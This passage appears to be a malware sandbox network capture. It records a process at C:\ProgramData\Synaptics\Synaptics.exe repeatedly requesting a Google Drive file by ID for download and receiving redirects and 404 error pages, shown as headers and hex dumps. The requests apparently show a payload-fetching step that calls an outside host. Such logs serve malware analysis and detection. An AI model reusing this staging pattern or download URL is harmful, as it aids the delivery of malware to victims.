2024-12-30 03:59:10 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-30 03:59:11 UTC	1594	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4KKxO_7hnrUA66jaVCwf6cCnVUhMMQNckVcM4eFLsoq5H9r_A_U427ivZsFvXySlDQ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:10 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'report-sample' 'nonce-wtj14MjPh4z9YXZaEgYoNA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04; expires=Tue, 01-Jul-2025 03:59:10 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:11 UTC	1594	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 56 62 4f 6d 53 70 52 38 4d 76 56 2d 79 77 78 4c 65 73 64 59 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="NVbOmSpR8MvV-ywxLesdYg">*{margin:0;padding:0}html,code{font:15px/22px arial
2024-12-30 03:59:11 UTC	58	IN	Data Raw: 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: nd on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49753	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:10 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
2024-12-30 03:59:11 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6RS07ST1kpU9kdRSvtDKk6c4oeW0W-6gvf9wushLh9ElqzmmZdWtjNyRS1YWlQZd1r Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:11 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-Z2trGexnkfgVwHUKatiSEQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:11 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:11 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5f 39 2d 57 4d 74 79 5f 38 69 49 6f 67 6a 6d 4e 7a 7a 43 53 2d 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="_9-WMty_8iIogjmNzzCS-Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:11 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49754	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:10 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 03:59:11 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:10 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-urlSNW76vfCIoLcSJEcCJQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49756	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:10 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 03:59:11 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:11 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-TZm_q0-sf804UGJoQ_4xFw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49760	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:11 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
2024-12-30 03:59:12 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5LtEz12ZHfeFdJ9-yQqYUnnwrOh5Y0vGEnBiTZhJGzPiovz0WHMkvHMpL--7_-CRd1L0riA1A Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:12 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-dgYqnm3Mz9zkdy_Ewq9Dew' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:12 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:12 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 41 67 51 49 78 46 6b 68 34 55 42 34 78 78 72 68 66 36 31 54 64 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="AgQIxFkh4UB4xxrhf61TdQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:12 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49759	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:11 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 03:59:12 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:12 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-hi0Re6hgfk57Lfs9RLvlcw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49763	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:11 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
2024-12-30 03:59:12 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5TuCNmwWNgnO3Ttu6oyTnaLImnhSPrgxrURcHsDufdP4HkuKzkulSciAu0N-IOCIDeKCehem0 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:12 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-0Rjrrj_fZBEpdGAtUYZu8g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:12 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:12 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 44 48 66 6c 77 65 2d 34 44 5a 71 4c 33 67 56 62 5f 63 4d 42 46 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="DHflwe-4DZqL3gVb_cMBFg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:12 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49764	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:12 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 03:59:12 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:12 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-pB4tCtDlsl37CbPvO7RrNg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49770	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:12 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 03:59:13 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:13 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-_mN1Xz8SmpgEbz34mvmc9Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

